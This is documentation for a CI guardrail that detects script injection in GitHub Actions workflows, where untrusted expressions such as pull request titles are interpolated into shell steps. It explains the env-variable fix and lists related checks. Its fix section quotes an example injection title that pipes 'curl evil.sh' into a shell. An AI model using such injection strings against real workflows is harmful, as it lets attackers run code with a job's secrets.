Guardrails / github

No workflow interpolates untrusted text into a shell

github/no-script-injection@v1

No run step interpolates a ${{ }} expression an outsider controls, such as a pull request title or a branch name, straight into the shell body.

Id	github/no-script-injection
Version	v1
Category	github
Default severity	error
Interpreter	python3
Timeout	30 seconds
Violations tolerated	0
Collects	github

Collectors

This guardrail doesn't gather anything itself. It relies on the collectors below, which the CLI runs once per build before any check, and reads what they found from GUARDRAIL_FACTS. If a collector collects nothing, this guardrail is skipped, not failed.

Collector	Gathers	Inputs it is given
github	What GitHub itself reads out of the repository: the Actions workflows in .github/workflows, read as they are written, and the CODEOWNERS file, read as rules. For a workflow, which events start it, what token permissions it hands a job, which runner each job asks for, and every action a step reaches for and how tightly it is pinned. For CODEOWNERS, every pattern in file order with the owners it names, and the owners that apply to the paths a guardrail asks about, resolved the way GitHub resolves them, where the last rule to match a path is the one that owns it. Names and shapes only, never a secret, an input value or an environment value.	workflows

The inputs above are this guardrail's own inputs, passed straight through to the collector. Setting one in buildnote.json changes what is collected, and two guardrails configured the same way share a single collection.

Configuration

{
  "guardrails": {
      "failOn": "error",
      "checks": [
          {
              "use": "github/no-script-injection@v1",
              "severity": "error",
              "with": {
                  "workflows": ".github/workflows/*.yml,.github/workflows/*.yaml",
                  "expressions": "github.event.issue.title,github.event.issue.body,github.event.pull_request.title,github.event.pull_request.body,github.event.pull_request.head.ref,github.event.pull_request.head.label,github.event.pull_request.head.repo,github.event.comment.body,github.event.review.body,github.event.review_comment.body,github.event.discussion.title,github.event.discussion.body,github.event.commits,github.event.head_commit.message,github.event.head_commit.author,github.event.pages,github.event.workflow_run.head_branch,github.event.workflow_run.head_commit.message,github.head_ref"
              },
              "exemptions": []
          }
      ]
  }
}

Inputs

Input	Description	Default	Environment variable
workflows	Comma separated globs naming the workflows to read.	.github/workflows/*.yml,.github/workflows/*.yaml	GUARDRAIL_INPUT_WORKFLOWS
expressions	Comma separated expression prefixes an outsider controls. Interpolating any of them inside a run body is a violation.	github.event.issue.title,github.event.issue.body,github.event.pull_request.title,github.event.pull_request.body,github.event.pull_request.head.ref,github.event.pull_request.head.label,github.event.pull_request.head.repo,github.event.comment.body,github.event.review.body,github.event.review_comment.body,github.event.discussion.title,github.event.discussion.body,github.event.commits,github.event.head_commit.message,github.event.head_commit.author,github.event.pages,github.event.workflow_run.head_branch,github.event.workflow_run.head_commit.message,github.head_ref	GUARDRAIL_INPUT_EXPRESSIONS

How to fix

Pass the value through an environment variable instead of writing it into the script, so the shell reads it as data and never parses it as code:

- name: Greet
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "$TITLE"

The interpolation happens before the shell runs, so ${{ github.event.pull_request.title }} puts the attacker's text into the script itself. A pull request titled a"; curl evil.sh | sh; # then runs on the runner with access to everything the job's token and secrets can reach. The environment variable form never reaches the parser. Quoting the expression in the script is not a fix, because the attacker chooses the quotes too.

See GitHub's script injection guidance.

More in github

• github/actions-pinned-by-digest. Every third-party action a workflow uses is pinned to a full commit sha, not to a tag or a branch.
• github/codeowners-catch-all. CODEOWNERS has a rule matching every path, so even a file nobody thought about has an owner.
• github/codeowners-no-unowned-rules. No rule in CODEOWNERS has an empty list of owners, which would remove ownership from everything it matches.
• github/codeowners-owners-per-rule. Every rule in CODEOWNERS names at least the minimum and at most the maximum number of owners, so review neither depends on one person nor becomes everybody's problem.
• github/codeowners-parses. Every line of CODEOWNERS that is not a comment is a rule GitHub can read, so no ownership is silently lost to a line GitHub ignores.
• github/codeowners-present. The repository has a CODEOWNERS file where GitHub looks for one, with at least one rule, so every change has someone to review it.
• github/codeowners-team-owned. Every rule in CODEOWNERS names at least one GitHub team, so ownership outlasts the people currently on it.
• github/job-timeout-set. Every job declares how long it may run, so a hung job is stopped instead of holding a runner until GitHub's own limit.

All 11 github guardrails